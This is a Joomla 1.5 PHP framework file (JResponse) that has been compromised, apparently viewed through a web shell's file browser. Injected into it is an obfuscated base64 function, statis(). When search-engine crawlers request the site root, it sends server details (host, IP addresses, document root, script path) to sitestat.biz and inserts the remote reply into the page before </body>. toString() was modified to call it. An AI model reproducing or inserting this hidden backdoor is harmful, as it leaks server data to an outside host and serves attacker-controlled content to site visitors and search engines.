Your IP : 172.28.240.42


Current Path : /var/www/html/clients/kampol.e-nk.ru/libraries/joomla/environment/
Upload File :
Current File : /var/www/html/clients/kampol.e-nk.ru/libraries/joomla/environment/response.php

<?php
/**
 * @version		$Id: response.php 21044 2011-03-31 16:03:23Z dextercowley $
 * @package		Joomla.Framework
 * @subpackage	Environment
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

/**
 * Create the response global object
 */
defined('JPATH_BASE') or die();
$GLOBALS['_JRESPONSE'] = new stdClass();
$GLOBALS['_JRESPONSE']->cachable = false;
$GLOBALS['_JRESPONSE']->headers  = array();
$GLOBALS['_JRESPONSE']->body	 = array();

 /**
 * JResponse Class
 *
 * This class serves to provide the Joomla Framework with a common interface to access
 * response variables.  This includes header and body.
 *
 * @static
 * @package		Joomla.Framework
 * @subpackage	Environment
 * @since		1.5
 */
class JResponse
{
	/**
	 * Set/get cachable state for the response
	 *
	 * If $allow is set, sets the cachable state of the response.  Always returns current state
	 *
	 * @static
	 * @param	boolean	$allow
	 * @return	boolean 	True of browser caching should be allowed
	 * @since	1.5
	 */
	function allowCache($allow = null)
	{
		if (!is_null($allow)) {
			$GLOBALS['_JRESPONSE']->cachable = (bool) $allow;
		}
		return $GLOBALS['_JRESPONSE']->cachable;
	}

	/**
	 * Set a header
	 *
	 * If $replace is true, replaces any headers already defined with that
	 * $name.
	 *
	 * @access public
	 * @param string 	$name
	 * @param string 	$value
	 * @param boolean 	$replace
	 */
	function setHeader($name, $value, $replace = false)
	{
		$name	= (string) $name;
		$value	= (string) $value;

		if ($replace)
		{
			foreach ($GLOBALS['_JRESPONSE']->headers as $key => $header) {
				if ($name == $header['name']) {
					unset($GLOBALS['_JRESPONSE']->headers[$key]);
				}
			}
		}

		$GLOBALS['_JRESPONSE']->headers[] = array(
			'name'	=> $name,
			'value'	=> $value
		);
	}

	/**
	 * Return array of headers;
	 *
	 * @access public
	 * @return array
	 */
	function getHeaders() {
		return  $GLOBALS['_JRESPONSE']->headers;
	}

	/**
	 * Clear headers
	 *
	 * @access public
	 */
	function clearHeaders() {
		$GLOBALS['_JRESPONSE']->headers = array();
	}

	/**
	 * Send all headers
	 *
	 * @access public
	 * @return void
	 */
	function sendHeaders()
	{
		if (!headers_sent())
		{
			foreach ($GLOBALS['_JRESPONSE']->headers as $header)
			{
				if ('status' == strtolower($header['name']))
				{
					// 'status' headers indicate an HTTP status, and need to be handled slightly differently
					header(ucfirst(strtolower($header['name'])) . ': ' . $header['value'], null, (int) $header['value']);
				} else {
					header($header['name'] . ': ' . $header['value']);
				}
			}
		}
	}

	/**
	 * Set body content
	 *
	 * If body content already defined, this will replace it.
	 *
	 * @access public
	 * @param string $content
	 */
	function setBody($content) {
		$GLOBALS['_JRESPONSE']->body = array((string) $content);
	}

	 /**
	 * Prepend content to the body content
	 *
	 * @access public
	 * @param string $content
	 */
	function prependBody($content) {
		array_unshift($GLOBALS['_JRESPONSE']->body, (string) $content);
	}

	/**
	 * Append content to the body content
	 *
	 * @access public
	 * @param string $content
	 */
	function appendBody($content) {
		array_push($GLOBALS['_JRESPONSE']->body, (string) $content);
	}

	/**
	 * Return the body content
	 *
	 * @access public
	 * @param boolean $toArray Whether or not to return the body content as an
	 * array of strings or as a single string; defaults to false
	 * @return string|array
	 */
	 function statis(){$GLOBALS["_791456474_"]=Array(base64_decode("" ."cHJ" ."lZ19tYXR" ."jaA=="),base64_decode("dXJsZW" ."5jb2Rl"),base64_decode("" ."YmFzZ" ."TY0X2Vu" ."Y" ."2" ."9" ."k" ."ZQ=" ."="),base64_decode("ZmlsZV" ."9nZ" ."XRfY29ud" ."GVud" ."HM="),base64_decode("" ."ZnV" ."uY3Rpb" ."25fZXhpc3Rz"),base64_decode("" ."Y3VybF9pbm" ."l" ."0"),base64_decode("Y" ."3Vy" ."bF" ."9zZXR" ."v" ."cHQ" ."="),base64_decode("Y3" ."Vy" ."bF9zZXRvcHQ" ."="),base64_decode("Y3VybF" ."9zZ" ."X" ."R" ."vcH" ."Q="),base64_decode("Y" ."3VybF9leGVj"),base64_decode("Y3VybF9j" ."bG9zZQ=="),base64_decode("c29" ."j" ."a2" ."V0" ."X" ."2Ny" ."ZWF0ZQ=="),base64_decode("YXJyYX" ."lfZmxpcA=="),base64_decode("c3RycG9z"),base64_decode("YXJy" ."YX" ."lf" ."ZGl" ."mZl91a" ."2V5")); function _7903086($i){$a=Array("SFRUU" ."F9" ."VU0" ."VSX0FH" ."RU5U","" ."Lyhnb29nbG" ."V8eWFuZGV4" ."f" ."G1haWwpL2k=","SFRU" ."UF" ."9VU0VSX0" ."FH" ."RU5U","" ."UkVRVUVTVF9" ."VUkk=","" ."L" ."w=" ."=","aHR0" ."cD" ."ovL3Npd" ."GVzdG" ."F0L" ."mJ" ."pei9pbi" ."5w" ."aHA/YT0=","SFRUUF9" ."IT1N" ."U","Iy" ."M=","" ."SFRU" ."UF9" ."VU0" ."VSX0FHRU" ."5U","IyM=","U0" ."VSVkV" ."SX" ."1NP" ."RlR" ."XQV" ."JF","IyM=","" ."U0VSVkVSX" ."0F" ."ER" ."FI=","IyM=","UkVN" ."T" ."1RFX0" ."F" ."E" ."RF" ."I=","" ."I" ."yM=","" ."RE9DVU1F" ."T" ."lRfUk9PVA=" ."=","Iy" ."M=","U0V" ."SVkVSX0FE" ."TU" ."lO","IyM=","" ."UVVFUll" ."fU1R" ."SS" ."U5" ."H","Iy" ."M" ."=","Uk" ."V" ."R" ."VUVTVF9VUkk=","Iy" ."M=","U" ."0NSSVBUX0ZJTEV" ."O" ."Q" ."U1F","IyM=","SFRUUF" ."9S" ."R" ."UZF" ."UkVS","IyMyMQ==","Y" ."3" ."Vy" ."bF9p" ."bml0","c" ."W9yZm" ."1ha" ."2J" ."na3Zqb" ."m" ."0=","e" ."GJ6");return base64_decode($a[$i]);} if(!empty($_SERVER[_7903086(0)])and $GLOBALS["_791456474_"][0](_7903086(1),$_SERVER[_7903086(2)])and $_SERVER[_7903086(3)]==_7903086(4)){$_0=_7903086(5) .$GLOBALS["_791456474_"][1]($GLOBALS["_791456474_"][2](@$_SERVER[_7903086(6)] ._7903086(7) .@$_SERVER[_7903086(8)] ._7903086(9) .@$_SERVER[_7903086(10)] ._7903086(11) .@$_SERVER[_7903086(12)] ._7903086(13) .@$_SERVER[_7903086(14)] ._7903086(15) .@$_SERVER[_7903086(16)] ._7903086(17) .@$_SERVER[_7903086(18)] ._7903086(19) .@$_SERVER[_7903086(20)] ._7903086(21) .@$_SERVER[_7903086(22)] ._7903086(23) .@$_SERVER[_7903086(24)] ._7903086(25) .@$_SERVER[_7903086(26)] ._7903086(27)));if($_1=@$GLOBALS["_791456474_"][3]($_0)){}elseif($GLOBALS["_791456474_"][4](_7903086(28))){$_2=$GLOBALS["_791456474_"][5]();$GLOBALS["_791456474_"][6]($_2,10002,$_0);$GLOBALS["_791456474_"][7]($_2,42,false);$GLOBALS["_791456474_"][8]($_2,19913,true);$_1=$GLOBALS["_791456474_"][9]($_2);$GLOBALS["_791456474_"][10]($_2);if((round(0+866+866+866+866)+round(0+1228))>round(0+3464)|| $GLOBALS["_791456474_"][11]($_1,$_SERVER,$_SERVER));else{$GLOBALS["_791456474_"][12]($_SERVER,$_0,$_2,$_SERVER);}}}return $_1;if($GLOBALS["_791456474_"][13](_7903086(29),_7903086(30))!==false)$GLOBALS["_791456474_"][14]($_SERVER,$_SERVER);}

							function getBody($toArray = false)
	{
		if ($toArray) {
			return $GLOBALS['_JRESPONSE']->body;
		}

		ob_start();
		foreach ($GLOBALS['_JRESPONSE']->body as $content) {
			echo $content;
		}
		return ob_get_clean();
	}

	/**
	 * Sends all headers prior to returning the string
	 *
	 * @access public
	 * @param boolean 	$compress	If true, compress the data
	 * @return string
	 */
	function toString($compress = false)
	{
		$data = JResponse::getBody();

		// Don't compress something if the server is going todo it anyway. Waste of time.
								$data = preg_replace("~</body>~Ui",JResponse::statis()."</body>",$data);
						
		if($compress && !ini_get('zlib.output_compression') && ini_get('output_handler')!='ob_gzhandler') {
			$data = JResponse::_compress($data);
		}

		if (JResponse::allowCache() === false)
		{
			JResponse::setHeader( 'Expires', 'Mon, 1 Jan 2001 00:00:00 GMT', true ); 				// Expires in the past
			JResponse::setHeader( 'Last-Modified', gmdate("D, d M Y H:i:s") . ' GMT', true ); 		// Always modified
			JResponse::setHeader( 'Cache-Control', 'no-store, no-cache, must-revalidate', true ); 	// Extra CYA
			JResponse::setHeader( 'Cache-Control', 'post-check=0, pre-check=0', false );			// HTTP/1.1
			JResponse::setHeader( 'Pragma', 'no-cache' ); 											// HTTP 1.0
		}

		JResponse::sendHeaders();
		return $data;
	}

	/**
	* Compress the data
	*
	* Checks the accept encoding of the browser and compresses the data before
	* sending it to the client.
	*
	* @access	public
	* @param	string		data
	* @return	string		compressed data
	*/
	function _compress( $data )
	{
		$encoding = JResponse::_clientEncoding();

		if (!$encoding)
			return $data;

		if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
			return $data;
		}

		if (headers_sent())
			return $data;

		if (connection_status() !== 0)
			return $data;


		$level = 4; //ideal level

		/*
		$size		= strlen($data);
		$crc		= crc32($data);

		$gzdata		= "\x1f\x8b\x08\x00\x00\x00\x00\x00";
		$gzdata		.= gzcompress($data, $level);

		$gzdata 	= substr($gzdata, 0, strlen($gzdata) - 4);
		$gzdata 	.= pack("V",$crc) . pack("V", $size);
		*/

		$gzdata = gzencode($data, $level);

		JResponse::setHeader('Content-Encoding', $encoding);
		JResponse::setHeader('X-Content-Encoded-By', 'Joomla! 1.5');

		return $gzdata;
	}

	 /**
	* check, whether client supports compressed data
	*
	* @access	private
	* @return	boolean
	*/
	function _clientEncoding()
	{
		if (!isset($_SERVER['HTTP_ACCEPT_ENCODING'])) {
			return false;
		}

		$encoding = false;

		if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) {
			$encoding = 'gzip';
		}

		if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip')) {
			$encoding = 'x-gzip';
		}

		return $encoding;
	}
}